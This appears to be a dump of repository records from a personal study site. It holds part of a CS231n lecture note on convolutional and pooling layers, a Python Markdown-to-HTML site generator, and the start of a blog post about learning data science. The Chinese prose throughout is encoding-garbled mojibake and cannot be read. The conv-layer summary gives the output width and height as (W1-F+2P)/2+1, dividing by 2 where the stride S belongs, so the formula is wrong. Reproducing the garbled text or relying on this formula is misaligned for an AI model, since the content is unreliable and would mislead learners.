ๅทฒ็ป่ขซๅนฟๆณ›ๅบ”็”จใ€‚\n\nๆŽฅไธ‹ๆฅ๏ผŒๅฐๅงๅงไป‹็ปไบ†ๅ„็งๅ„ๆ ทๅ•Š็š„ๅบ”็”จ๏ผŒๅชๆœ‰ไธ€ไธชๆ˜Ÿ็ณปๅˆ†็ฑปๅ’Œๆˆ‘็š„้ข†ๅŸŸ็•ฅๆœ‰็›ธๅ…ณ๏ผš[https://arxiv.org/pdf/1503.07077.pdf]\n\n![](https://i.loli.net/2018/08/24/5b8010a5b474b.png)\n\n\n\n\n\n## Convolutional Neural Networks\n(First without the brain stuff)\n\nๆˆ‘ไปฌไปŽๅ‡ฝๆ•ฐ็š„่ง’ๅบฆๆฅ่ฎจ่ฎบๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚๏ผˆๆˆ‘่ฟ™้‡Œ็œ็•ฅๆŽ‰ไบ†ๅท็งฏ็š„ๆ“ไฝœ็ป†่Š‚๏ผ‰\n\n- ๅ‰้ขๅ‡ ๅฑ‚็š„ๅท็งฏๆ ธไธ€่ˆฌไปฃ่กจไบ†ไธ€ไบ›ไฝŽ้˜ถ็š„ๅ›พๅƒ็‰นๅพ๏ผŒๆฏ”ๅฆ‚่ฏดไธ€ไบ›่พน็ผ˜็‰นๅพใ€‚ไน‹ๅŽๅ‡ ๅฑ‚็š„็‰นๅพไผšๆ›ดๅŠ ็š„ๅคๆ‚๏ผŒๅฎƒ็š„ๅ†…ๅฎน็œ‹่ตทๆฅๅฏ่ƒฝๆ›ดๅŠ ไธฐๅฏŒใ€‚ๅฏนไบŽ้‚ฃไบ›้ซ˜้˜ถ็š„็‰นๅพ๏ผŒๅฏไปฅ่Žทๅพ—ไธ€ไบ›ๆฏ”ๆ–‘็‚นไน‹็ฑป็š„ๆ›ดๅŠ ไธฐๅฏŒ็š„ๅ†…ๅฎนใ€‚\n\n ![](https://i.loli.net/2018/08/25/5b8039ac4863d.png)\n\n\n\n\n\n- ไฟกๅทๅค„็†ไธญ็š„ไบŒ็ปดๅท็งฏ๏ผš\n $$\n f[x,y]*g[x,y]=\\sum^\\infty_{n_1=-\\infty}\\sum^\\infty_{n_2=-\\infty}f[n_1,n_2]\\cdot g[x-n_1,y-n_2]\n $$\n ๏ผˆelementwise multiplication and sum of a filter and the signal๏ผ‰\n\n\n\nๅทดๆ‹‰ๅทดๆ‹‰ใ€‚ใ€‚ใ€‚่ฏดไบ†ๅพˆๅคš๏ผŒๆ€ปไน‹ๅฐฑๆ˜ฏไธ‹้ข๐Ÿ‘‡ๆ€ป็ป“็š„ๅฅฝไธœ่ฅฟ๏ผš๏ผˆๅ…ถๅฎž่ฟ˜ไธๅ…จ~๏ผ‰\n\n### Summary. To summarize, the Conv Layer:\n\n- Accepts a volume of size $W_1\\times H_1\\times D_1$\n- Requires four hyperparameters:\n - Number of filters $K$. (powers of 2, e.g. 32, 64, 128, 512)\n - their spatial extent $F$.\n - the stride $S$.\n - the amount of zero padding $P$.\n- Produces a volume of size $W_2\\times H_2\\times D_2$ where:\n - $W_2=(W_1-F+2P)/2+1$\n - $H_2=(H_1-F+2P)/2+1$ (i.e. width and height are computed equally by symmetry)\n - $D_2=K$\n- With parameter sharing, it introduces $F\\cdot F\\cdot D_1$ weights per filter, for a total of $(F\\cdot F\\cdot D_1)\\cdot K$ weights and $K$ biases.\n- In the output volume, the $d$-th depth slice (of size $W_2\\times H_2$) is the result of performing a valid convolution of the $d$-th filter over the input volume with a stride of $S$, and then offset by $d$-th bias.\n\n\n\n็ฅž็ปๅ…ƒ่ง’ๅบฆ็š„่งฃ่ฏปๅฐฑ็•ฅ่ฟ‡ไบ†๏ผŒๆฒกๅ•ฅๆ„ๆ€ใ€‚ใ€‚ใ€‚ๅ”ฏ็‹ฌไธ€ไธชๆ„Ÿๅ—้‡Ž๏ผˆreceptive field๏ผ‰ ่ฟ™ไธชๆฆ‚ๅฟตๆ˜ฏๅพˆ้‡่ฆ็š„๏ผŒไฝ†ๆ˜ฏ่ฟ™ไธช่ฎฒไน‰่ฟ˜ๆฒก่ฎฒๆธ…ๆฅš่ฎฒๅ…จใ€‚\n\nๅฏนไบŽๆฑ ๅŒ–ๅฑ‚๏ผŒๆˆ‘ไปฌไนŸๅฏไปฅๆ€ป็ป“ไธ€ไธ‹๏ผš\n\n### Summary. To summarize, the Pooling Layer:\n\n- Accepts a volume of size $W_1\\times H_1\\times D_1$\n- Requires three hyperparameters: (Common settings: $F=2,S=2$ or $F=3, S=3$)\n - their spatial extent $F$,\n - the stride $S$,\n- Produces a volume of size $W_2\\times H_2\\times D_2$ where:\n - $W_2=(W_1-F)/S+1$\n - $H_2=(H_1-F)/S+1$\n - $D_2=D_1$\n- Introduces zero parameters since it computes a fixed function of the input\n- Note that it is not common to use zero-padding for Pooling layers\n\n\n\n### Demo\n\nๆœ€ๆœ€ๅŽ๏ผŒshow ๅ‡บไบ†ไธ€ไธช demo ๅฏไปฅๅœจ CIFAR-10ๆ•ฐๆฎ้›†ไธŠ่ง‚ๅฏŸ่ฎญ็ปƒ่ฟ‡็จ‹ไปฅๅŠ่ฎญ็ปƒๅŽ็š„ๅฏ่ง†ๅŒ–ๆ•ˆๆžœใ€‚\n\n> https://cs.stanford.edu/people/karpathy/convnetjs/demo/cifar10.html\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_5.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.609287440776825, "alphanum_fraction": 0.6132906079292297, "avg_line_length": 28.562129974365234, "blob_id": "be3f35f65d5654a33a595c1f346e36de6fa00f39", "content_id": "3a57eb5bc6a68ffc1cae4b8c7b0e053bc34de1ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5320, "license_type": "no_license", "max_line_length": 162, "num_lines": 169, "path": "/generate.py", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\n\"\"\"Documentation\"\"\"\n# import json\nimport shutil\n\n# import sys\n\nfrom jinja2 import Environment, FileSystemLoader, Markup\nfrom markdown import Markdown # pip install Markdown\nimport datetime\nimport sys\nimport codecs\nimport os\n\n# https://distill.pub/guide/\nfrom extensions.footnotes_dt import FootnoteExtension\nfrom extensions.dt_cite import CiteExtension\nfrom extensions.dt_code import FencedCodeExtension\nfrom extensions.meta_data import MetaExtension\nfrom extensions.appendix import AppendixExtension\nfrom extensions.checkbox import ChecklistExtension\n# from extensions.dt_cite2 import\n\n# import pypinyin\n\nWorking_DIR = '/Users/herb/My_Writing_Project/iphysresearch.github.io'\nos.chdir(Working_DIR)\nsys.path.append(Working_DIR)\n\n\ndef render(md_address):\n \"\"\"ๆธฒๆŸ“html้กต้ข\n :param md_address:\n :return:\n \"\"\"\n with codecs.open(md_address, \"r\", \"utf-8\") as f:\n text = f.read()\n md = Markdown(\n extensions=[\n CiteExtension(),\n FootnoteExtension(),\n FencedCodeExtension(),\n ChecklistExtension(),\n MetaExtension(),\n AppendixExtension(),\n \"meta\",\n \"nl2br\",\n \"tables\",\n \"toc\",\n \"wikilinks\",\n ],\n output_format=\"html5\",\n )\n _ = md.convert(text)\n\n try:\n bib_address = os.path.join(\"/\".join(md_address.split('/')[:-1]), [file for file in os.listdir(\"/\".join(md_address.split('/')[:-1])) if '.bib' in file][0])\n with codecs.open(bib_address, \"r\", \"utf-8\") as f:\n bib = f.read()\n # print(bib)\n except Exception:\n bib = ''\n\n meta_data = md.Meta\n for key in meta_keys:\n meta_data[key] = md.Meta.setdefault(key, [\"No {}\".format(key)])\n # meta_data[\"updatedDate\"] = datetime.datetime.today()\n env = Environment(loader=FileSystemLoader(\"templates\"))\n env.filters[\"markdown\"] = lambda text: Markup(md.convert(text))\n template = env.get_template(\"template.html\")\n # print(text)\n text = template.render(\n meta_data=meta_data, text=text, bib=bib, appendix=md.Appendix + \"\\n---\\n---\"\n )\n return text\n\n\ndef save_html(out_path, html):\n \"\"\"ไฟๅญ˜html่‡ณๆ–‡ไปถ\n :param out_path:\n :param html:\n :return:\n \"\"\"\n base_folder = os.path.dirname(out_path)\n if not os.path.exists(base_folder):\n os.makedirs(base_folder)\n\n with codecs.open(out_path, \"w+\", \"utf-8\") as f:\n f.write(html)\n\n\ndef clean(OUTPUT_CONTENT):\n \"\"\"ๆธ…็†่พ“ๅ‡บๆ–‡ไปถๅคน\n \"\"\"\n for DIR in [OUTPUT_CONTENT, ]:\n if os.path.exists(DIR):\n shutil.rmtree(DIR)\n pass\n\n\ndef generate_all(INPUT_CONTENT, OUTPUT_CONTENT):\n # print(OUTPUT_CONTENT)\n os.system('echo %s' % OUTPUT_CONTENT.split('/')[-1])\n clean(OUTPUT_CONTENT)\n\n file_list = [file for file in os.listdir(INPUT_CONTENT) if \".md\" in file]\n for file in file_list:\n HTML = render(os.path.join(INPUT_CONTENT, file))\n save_html(os.path.join(OUTPUT_CONTENT, file.split(\".md\")[0] + \".html\"), HTML)\n\n\nif __name__ == \"__main__\":\n\n # CSS/JSๆ–‡ไปถ่ทฏๅพ„๏ผŒ้ป˜่ฎคไธบ`/static/`\n STATIC_ROOT = \"/\"\n CURRENT_ROOT = \"./\"\n\n # Markdownๆ–‡ไปถ่ฏปๅ–็›ฎๅฝ•\n INPUT_CONTENT = Working_DIR + \"/md/\"\n INPUT_CONTENT_Intro2sp = Working_DIR + \"/md/Intro2sp/\"\n INPUT_CONTENT_Apaperaday = Working_DIR + \"/md/apaperaday/\"\n INPUT_CONTENT_Report = Working_DIR + \"/md/report/\"\n INPUT_CONTENT_Collections = Working_DIR + \"/md/Collections/\"\n INPUT_CONTENT_Tutorial = Working_DIR + \"/md/Tutorial/\"\n\n meta_keys = [\n \"title\",\n \"description\",\n \"authors\",\n \"authors_url\",\n \"affiliations\",\n \"affiliations_url\",\n \"publisheddate\",\n \"updateddate\",\n \"id\",\n ]\n\n # ๆจกๆฟ็›ฎๅฝ•\n DIR_TEMPLATE = Working_DIR + \"/templates/\"\n\n # html็”Ÿๆˆ่พ“ๅ‡บ็›ฎๅฝ•\n DIR_BLOG = Working_DIR + \"/blog/\"\n DIR_NOTES = os.path.join(DIR_BLOG, \"notes\")\n DIR_Intro2sp = os.path.join(DIR_BLOG, \"Intro2sp\")\n DIR_Apaperaday = os.path.join(DIR_BLOG, \"apaperaday\")\n DIR_Report = os.path.join(DIR_BLOG, \"report\")\n DIR_Collections = os.path.join(DIR_BLOG, \"Collections\")\n DIR_Tutorial = os.path.join(DIR_BLOG, \"Tutorial\")\n # DIR_ARTICLES = DIR_PAGES + \"articles/\"\n # DIR_TAGS = DIR_PAGES + \"tags/\"\n\n # TODO: ๆทปๅŠ ไฝฟ็”จๅ‘ฝไปค่กŒๆ–นๅผ๏ผš็”Ÿๆˆใ€ๆธ…็†ใ€ๅฏๅŠจ\n # TODO: ๅค„็† template.v1.js ไธญ็š„ Updates and Corrections + Citations and Reuse\n # TODO: Paper ็š„ๅผ•็”จๅฏไปฅๅœจไธ€่กŒๅ†…ๅคšๆฌกๅผ•็”จ\n # TODO: ๅฆ‚ไฝ•ไธบๆฏไธชๆ–‡็ซ ๅฃฐๆ˜Ž็Ÿฅ่ฏ†ไบงๆƒ๏ผŒไปฅๅŠ DOI๏ผŸ\n # ## TODO: ่‡ช้€‚ๅบ”่งฃๆžๅ›พ็‰‡๏ผŒๅนถๅฏไปฅๆ”พๅคง้ข„่งˆ\n # ## TODO: ่„šๆณจๆ˜ฏๅฏไปฅ็‚นๅ‡ป่ทณ่ฝฌ็š„\n # ## TODO: ้กต้ขๅ†…็š„ๅผ•็”จ่ทณ่ฝฌ+้กต้ข้—ด็š„ๅผ•็”จ่ทณ่ฝฌ\n # ## TODO: ๆ•ฐๅญฆๅ…ฌๅผๅฏไปฅๅผ•็”จ๏ผŒๆ•ฐๅญฆๅ…ฌๅผ็š„ๆ ‡ๅทๅฏไปฅ้€‰ๆ‹ฉๆ€งๆ ‡่ฎฐ\n # ## TODO: ๅคš็บงๅˆ—่กจๅŠŸ่ƒฝ\n # generate_all(INPUT_CONTENT, DIR_NOTES)\n generate_all(INPUT_CONTENT_Intro2sp, DIR_Intro2sp)\n generate_all(INPUT_CONTENT_Apaperaday, DIR_Apaperaday)\n generate_all(INPUT_CONTENT_Report, DIR_Report)\n generate_all(INPUT_CONTENT_Collections, DIR_Collections)\n generate_all(INPUT_CONTENT_Tutorial, DIR_Tutorial)\n pass\n" }, { "alpha_fraction": 0.7796826958656311, "alphanum_fraction": 0.8052712678909302, "avg_line_length": 25.8625431060791, "blob_id": "37d71eda5112559e1dfe270ec67b3ec8a4336e14", "content_id": "56cbeff58c717c0a51d2bd5f22821836fd59fa52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18682, "license_type": "no_license", "max_line_length": 507, "num_lines": 291, "path": "/blog/posts/MyWay2017.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ๆ•ฐๆฎ็ง‘ๅญฆๅ…ฅ้—จไน‹ๆˆ‘่ฐˆ(2017)\ndate: 2018-02-17\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n[TOC]\n\n---\n\n# ๆ•ฐๆฎ็ง‘ๅญฆๅ…ฅ้—จไน‹ๆˆ‘่ฐˆ(2017)\n\n> ๅบ”ๆŸๅนณๅฐ็š„ๅ…ฌๅผ€่ฏพไน‹็บฆ๏ผŒไธ‹ๆ–‡ๆ˜ฏๆˆ‘ไธบ็›ดๆ’ญ้ข„ๅค‡็š„่ฎฒ็จฟๅ†…ๅฎน๏ผŒไธป่ฆไธบไบ†็ป™ๅฐ็™ฝๅญฆๅ‘˜่ฎฒๅฆ‚ไฝ•ๅ…ฅ้—จๆ•ฐๆฎ็ง‘ๅญฆ้ข†ๅŸŸ็š„ใ€‚ๅ…ถๅฎžๆˆ‘ๆ˜ฏๆŠŠ่ฟ™ไธช่ฏ้ข˜ๅฝ“ๅšไธชไบบๅšๆ–‡ๆฅ่ฎฒ็š„๏ผŒไปŽๆˆ‘่‡ชๅทฑ่ธฉ่ฟ‡็š„ๅ‘ๅˆฐ่ฟ™ไธ€ๅนดๅญฆไน ๆ‰€็ปๅŽ†่ฟ‡็š„ๆ„Ÿๅ—ๆ„Ÿๆ‚Ÿ๏ผŒๅธŒๆœ›่ƒฝๅธฎๅŠฉๆ‰€ๆœ‰ๅฏนๆ•ฐๆฎ็ง‘ๅญฆๆ„Ÿๅ…ด่ถฃๅ’Œๆ‰“็ฎ—ไปฅๆญค่ฝฌ่กŒ็š„ๆœ‹ๅ‹ใ€‚\n\n\n\nๅ›ž้ฆ–่‡ชๅทฑ่ฟ‡ๅŽป็š„ไธ€ๅนด๏ผŒไปŽ็ขŒ็ขŒๆ— ไธบๅˆฐๅฟ™ๅฟ™็ขŒ็ขŒ๏ผŒไปŽ่Œซ็„ถๆ˜ฏไปŽๅˆฐ่ฑ็„ถๅผ€ๆœ—๏ผŒไธ็ฆๆ„Ÿๆ…จไธ‡ๅƒ๏ผŒ็—›ๅ“ญๆตๆถ•ใ€‚ๅ› ไธบ๏ผŒๅชๆœ‰ๆˆ‘่‡ชๅทฑๆœ€็Ÿฅๆ™“่ฟ™ไธ€่ทฏไธŠ้ƒฝ็ปๅŽ†่ฟ‡ไป€ไนˆ๏ผŒๆœ‰ๅพˆๅคšๅŽๅท๏ผŒๆœ‰ๅพˆๅคš่ฟท่Œซ๏ผŒไนŸๆœ‰ๅพˆๅคšๆ„ŸๅŠจ๏ผŒๆ›ดๆœ‰ๅพˆๅคšๆ”ถ่Žทใ€‚\n\nๆˆ‘ๅฐ†ๅœจไธ‹ๆ–‡ไธป่ฆ้’ˆๅฏนๅฐ็™ฝๅ…ฅ้—จๅฏ่ƒฝไผš้‡ๅˆฐ็š„้‚ฃไบ›ๅ‘๏ผŒITๆŠ€ๆœฏ็š„่‡ชๅญฆๆทๅพ„ๅ’Œๅญฆไน ๆ•ฐๆฎ็ง‘ๅญฆๅฟ…้กปๆ™“ๅพ—็š„ๆŠ€่ƒฝไธบไธป้ข˜๏ผŒๅˆ†ไบซ็ป™ๆ›ดๅคšๆ‰“็ฎ—ๅ…ฅ้—จๆ•ฐๆฎ็ง‘ๅญฆๅ’Œไบบๅทฅๆ™บ่ƒฝ(AI)้ข†ๅŸŸ็š„ๆœ‹ๅ‹๏ผŒๅธŒๆœ›ๅคงๅฎถ่ƒฝๅฐ‘ไธ€ไบ›ๅผฏ่ทฏ๏ผŒๅฐ‘ไธ€ไบ›่ฟท่Œซ๏ผŒๅฐ‘ไธ€ไบ›ๆ— ๅŠฉใ€‚\n\nๅ…ˆ่‡ชๆˆ‘ไป‹็ป~ ่ฟ™ไธไป…ๅฏไปฅๅฏนๆˆ‘ๆœ‰ไธ€ไธชๅฟ…่ฆ็š„ไบ†่งฃ๏ผŒไนŸๆœ‰ๅŠฉไบŽๅฌไผ—ๅฏนๆฏ”ๅ’Œ่‡ชๆˆ‘ๅฎšไฝใ€‚\n\n\n\n> ๅœŸ่ฑ†: \n>\n> ๆˆ‘ๆ˜ฏไธ€ๆžšๅŒ—ไบฌๆŸ้ซ˜ๆ กๅœจ่ฏปๅšๅฃซ็”Ÿ๏ผŒๅš็†่ฎบ็‰ฉ็†็›ธๅ…ณ็š„็ง‘ๅญฆ็ ”็ฉถ๏ผŒ้™คไบ†10ๅนดๅ‰็š„ๆœฌ็ง‘ๆŽฅ่งฆ่ฟ‡ไธ€็‚นC++ๅค–๏ผŒๅฐฑไปŽๆฒกๅ†ๆŽฅ่งฆ่ฟ‡ไปปไฝ•็ผ–็จ‹่ฏญ่จ€๏ผŒ**Pythonๆ˜ฏไปŽ้›ถๅญฆ่ตท็š„**ใ€‚ๅ—ๅˆฐAlphaGo็ญ‰ๆ–ฐ้—ป็š„ๅฝฑๅ“๏ผŒ2016ๅนดๅฏนไบบๅทฅๆ™บ่ƒฝๆŠ€ๆœฏไบง็”Ÿไบ†ๆต“ๅŽš็š„ๅ…ด่ถฃ๏ผŒๆฏๅคฉไผšไธ็”ฑ่‡ชไธป็š„ๅ…ณๆณจๆœ‰ๅ…ณAI็š„ๆ–ฐ้—ปๅŠจๆ€ใ€‚ๅœจ2017ๅนดๅˆ๏ผŒไปŽๆˆ‘ๆŠฅๅไบ†ๅ‡ ๅฎถๆ•ฐๆฎๅˆ†ๆžๅ’Œๆœบๅ™จๅญฆไน ๅฎž่ฎญ่ฏพ็จ‹ๅผ€ๅง‹ๆญฃๅผๆŽฅ่งฆๆ•ฐๆฎ็ง‘ๅญฆใ€‚\n>\n> ็„ถ่€Œ๏ผŒ็”ฑไบŽ่‡ชๅทฑ็š„ๆ‡’ๆƒฐ๏ผŒ่ฎกๅˆ’็š„ไธๅ‘จๅ’Œๅญฆไน ๆ–นๆณ•ไธŠ็š„ไธ่ถณ็ญ‰ๅŽŸๅ› ๏ผŒ่ฏพ็จ‹ๆฒกๆœ‰ๅšๆŒไธ‹ๆฅใ€‚ๅŽๆฅ็›ดๅˆฐๆš‘ๅ‡ๅ†ๆŠฅๅๅญฆไน ๅผ€ๅง‹๏ผŒ็—›ๅฎšๆ€็—›๏ผŒ่ฎค่ฎค็œŸ็œŸ๏ผŒ็ปˆไบŽไปฅไผ˜็ง€ๅญฆๅ‘˜็š„ไผ˜ๅผ‚ๆˆ็ปฉๆฏ•ไธšๅŽ๏ผŒๅˆๅ†ๆŠฅๅๅญฆไน ไบ†\"่ฎก็ฎ—ๆœบ่ง†่ง‰\"ๅ’Œ\"่‡ช็„ถ่ฏญ่จ€ๅค„็†\"็ญ‰ๆทฑๅบฆๅญฆไน ่ฏพ็จ‹ใ€‚็Žฐๅœจๆ˜ฏๅ‡ ๅฎถ็บฟไธŠๆ•ฐๆฎ็ง‘ๅญฆๅ’Œไบบๅทฅๆ™บ่ƒฝๅทฅ็จ‹ๅธˆ่ฏพ็จ‹็š„ๅŠฉๆ•™๏ผŒๅนณๆ—ถไนŸไผš็ฟป่ฏ‘ไธ€ไบ›ๅ›ฝๅค–ๆ•ฐๆฎ็ง‘ๅญฆ็š„ๅšๆ–‡๏ผŒๆˆ‘็š„**PhDๆฏ•ไธš่ฏพ้ข˜**ไนŸๅทฒ็ปๆขๆˆไบ†ๅŸบไบŽๆทฑๅบฆๅญฆไน ๆŠ€ๆœฏ็š„็‰ฉ็†็ง‘ๅญฆ็ ”็ฉถใ€‚\n\n\n\n---\n\n# ไธ€ใ€็บท็บทๆ‰ฐๆ‰ฐ็š„ๆ•ฐๆฎ็ง‘ๅญฆๅŸน่ฎญๅธ‚ๅœบ\n\nๆญฃๅฆ‚็ฝ—่ƒ–ๅœจ2016ๅนดๅบ•็š„่ทจๅนดๆผ”่ฎฒไธญๆ‰€่ฐˆๅˆฐ๏ผŒไธบ**็Ÿฅ่ฏ†ไป˜่ดน**็š„ๆ—ถไปฃๅทฒ็ปๆฅไธดใ€‚ๅœจ่ฟ‡ๅŽป็š„ไธ€ๅนด้‡Œ๏ผŒ็œ‹ๅˆฐๅคง้‡้’ˆๅฏนPythonใ€ๆ•ฐๆฎๅˆ†ๆžๅ’ŒAI็›ธๅ…ณ็š„็บฟไธŠๆ•™่‚ฒๅŸน่ฎญๆถŒ็Žฐ่ฎฉไบบ็œผ่Šฑ็ผญไนฑ๏ผŒๆˆ‘่ฟ˜ๆ˜ฏไธไธ€ไธ€ๅˆ—ไธพไธบๅฅฝ๏ผˆๅคฉๅ–„/ๅฐ่ฑก/AI100/CSDN/็จ€็‰›/็‚ผๆ•ฐๆˆ้‡‘...๏ผ‰ใ€‚ๆ€ปไน‹๏ผŒๆˆ‘ๅ‡ ไนŽ้ƒฝไธๅŒ็จ‹ๅบฆ็š„ๆŠฅๅๅญฆไน ๆŽฅ่งฆ่ฟ‡๏ผŒไนŸๅฏ่ฐ“่Šฑไบ†ๆˆ‘ไธๅฐ‘้“ถๅญใ€‚ๆ—ข็„ถๆˆ‘ๅฌไบ†้‚ฃไนˆๅคš่ฎฒๅธˆ็š„่ฏพ๏ผŒๅฏนๆฏ”ไนŸๅฐฑๅœจๆ‰€้šพๅ…ใ€‚\n\n\n\n้€š่ฟ‡ไธๆ–ญ็š„ไบฒ่บซ็ปๅŽ†ๅ’Œๆ€ป็ป“ๅŽ๏ผŒๆˆ‘็†่งฃ็š„ๅฅฝ่ฎฒๅธˆๅ’Œๅฅฝ็š„ๆ•™่‚ฒๅŸน่ฎญๅนณๅฐๅบ”่ฏฅๆ˜ฏ่ฟ™ๆ ท็š„๏ผš\n\n> ่ฏพ็จ‹**ๅนฒ่ดง**ๆปกๆปก่ฟ˜ไธๅคฑ**้ฃŽ่ถฃ**๏ผŒ่ฎฒๅธˆ**็ฒพๅŠ›**ๅ……ๆฒ›่ฟ˜็ƒญ็ˆฑ**ๅˆ†ไบซ**๏ผŒๅŠฉๆ•™่ฎค็œŸ**ๆ‰นๆ”น**่ฟ˜็ƒญๆƒ…**ๅ้ฆˆ**ใ€‚\n\nไธŠ้ขๆ€ป็ป“็š„ๆฏไธ€ไธช็‚นๅ…ถๅฎž้ƒฝ้žๅธธ้‡่ฆ๏ผš่ฏพ็จ‹ๆไพ›็š„ๅคง้‡ๅ…ธๅž‹ๆจกๆฟไปฃ็ ๅฏไปฅ่ฎฉๅญฆๅ‘˜่Šฑๆ›ดๅฐ‘็š„ๆ—ถ้—ดๆˆๆœฌๅพ—ๅˆฐๆ›ดๅคง็š„ๆœชๆฅๆ”ถ่Žท๏ผ›่ฎฒๅธˆ็›ดๆ’ญ่ฟ‡็จ‹ไธญ็š„ๅนฝ้ป˜ๆ„Ÿไธไป…่ฎฉไบบไผšๅฟƒไธ€็ฌ‘๏ผŒๆœ‰ๅŠฉไบŽ่ฎฐๅฟ†็Ÿฅ่ฏ†็‚น๏ผŒ่ฟ˜่ƒฝ่ตทๅˆฐๆ็ฅž็š„ๆ•ˆๆžœ๏ผ›ไปŽ่ฎฒๅธˆ็š„ๅค‡่ฏพๅ’Œๅœจ็บฟ็›ดๆ’ญไธญๆœ€่ƒฝ็œ‹ๅˆฐ่ฎฒๅธˆ็š„ๅˆ†ไบซ็ฒพ็ฅž๏ผŒ่ฎฐๅพ—ๅคดไธ€ๆฌกๅฌๆŸ่€ๅธˆ็›ดๆ’ญ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ๆ›พๆƒ…ไธ่‡ช็ฆๅœฐไธบๅ…ถ็ƒญๅฟƒ็š„ๅ€พๅฟƒๅˆ†ไบซ่€Œๆ„ŸๅŠจ่‡ณ็ƒญๆณช็›ˆ็œถ๏ผˆ่ฟ™ๆ˜ฏ็œŸไบ‹ๅ•Š~๏ผ‰~~~ ๅŠฉๆ•™ๅ›ข้˜Ÿ็š„่‰ฏๅฅฝๆฐ›ๅ›ดๆ˜ฏๆœ€้šพๅพ—ไนŸๆ˜ฏๆœ€่ฎฉไบบ็œผๅ‰ไธ€ไบฎ็š„๏ผŒ่ฟ™ไธไป…ไป…ๅญฆไน ็ป้ชŒๅ’Œๆทๅพ„็š„ๅˆ†ไบซ๏ผŒไนŸๆ˜ฏไธ€ไธชๆˆ็†Ÿ็š„็ณปๅˆ—่ฏพ็จ‹่ƒฝๅคŸไธๆ–ญไผ ๆ‰ฟ็š„ๆœ‰ๅŠ›ๆ ‡ๅฟ—ใ€‚\n\n\n\n็ฏ‡ๅน…ๆœ‰้™๏ผŒ่ฟ™ไธช่ฏ้ข˜ๅฐฑๆš‚ไธ”ๅˆฐๆญคๅง๏ผŒๅชๆƒณ่ฏด๏ผš\n\n> **ๅนฟๆณ›็š„ๅฃ็ข‘ๅ›บ็„ถๅพˆ้‡่ฆ๏ผŒไฝ†ไฝ ไบฒ่‡ช็ป™็š„ๅฃ็ข‘ๆ— ็–‘ๆ˜ฏๆ›ด้‡่ฆ็š„ใ€‚**\n\n\n\n---\n\n# ไบŒใ€็บฟไธŠๅญฆไน ็š„ๅ‚ไธŽๆ„Ÿ้žๅธธ้‡่ฆ\n\nๅฎ‰ๅˆฉๅฎŒ่ฏพ็จ‹๏ผŒๆŽฅไธ‹ๆฅๅฐฑๆ˜ฏ่ฆๅฎ‰ๅˆฉไฝ ่‡ชๅทฑไบ†ใ€‚\n\n\n\n- ็›ดๆ’ญ้šๆ—ถๅ›žๆ”พ๏ผŸ๏ผ\n\nๅ‡ ไนŽๆ‰€ๆœ‰็š„ๅœจ็บฟๅŸน่ฎญ่ฏพ็จ‹้ƒฝๆ”ฏๆŒ**็›ดๆ’ญ้šๆ—ถๅ›žๆ”พ**๏ผŒๅญฆไน ่ต„ๆ–™ไนŸ้šๆ—ถ่Žทๅ–็š„ๅŠŸ่ƒฝ๏ผŒๅฏนไบŽๅ…ฅ้—จๅญฆๅ‘˜ๆฅ่ฏด๏ผŒ่ฟ™ๆ˜ฏๆฝœๆ„่ฏ†ไธญๆœ€ๅฎนๆ˜“ๆป‹็”Ÿๆ‡’ๆƒฐๅ’Œๆ‹–ๅปถ็š„ไฟกๆฏใ€‚ๆˆ‘ๅฝ“ๅˆๆฒกๆœ‰ๅพˆๅฅฝ็š„ๅšๆŒไธ‹ๆฅ็š„ไธป่ฆๅŽŸๅ› ๅฐฑๆ˜ฏ่ฟ™ๆ ท๏ผŒ่™ฝ็„ถๅฟƒ้‡Œๅพˆๆธ…ๆฅš่ฟ™ไธช่ฏพ็จ‹้žๅธธๅฅฝ๏ผŒไฝ†ๆ˜ฏไพ็„ถไผšไธ็”ฑ่‡ชไธปๅœฐไบง็”Ÿไบ†ๆ‡ˆๆ€ ็š„ๅฟƒ็†๏ผŒ่ฆไนˆๆ€ปไปฅไธบ่ฟ™ไธช้’ฑไธ€่Šฑๅ‡บๅŽป๏ผŒ็Ÿฅ่ฏ†ๅฐฑๅฅฝๅƒๅทฒ็ปไฟๅญ˜ๅœจไบ†ๆˆ‘็š„่„‘ๆตทไธญ๏ผŒไปฅๅŽๅฏไปฅ้šๆ—ถ่ฐƒๅ–ๆฅ็”จ๏ผ›่ฆไนˆๅฐฑๆ˜ฏๅˆฐไบ†็›ดๆ’ญไธŠ่ฏพๆ—ถ้—ด๏ผŒ่‡ชๅทฑๆ˜Žๆ˜Žๆœ‰ๆ—ถ้—ดๅฌ็›ดๆ’ญไฝ†่ฟ˜ๆ˜ฏไผš่‡ชไฟก็š„ไปฅไธบ้š”ๅคฉๅฌ็›ดๆ’ญๅ›žๆ”พไนŸๆ˜ฏไธ€ๆ ท๏ผŒ่ฟ˜่ƒฝ่Š‚็œๆ—ถ้—ดใ€‚\n\n\n\n- 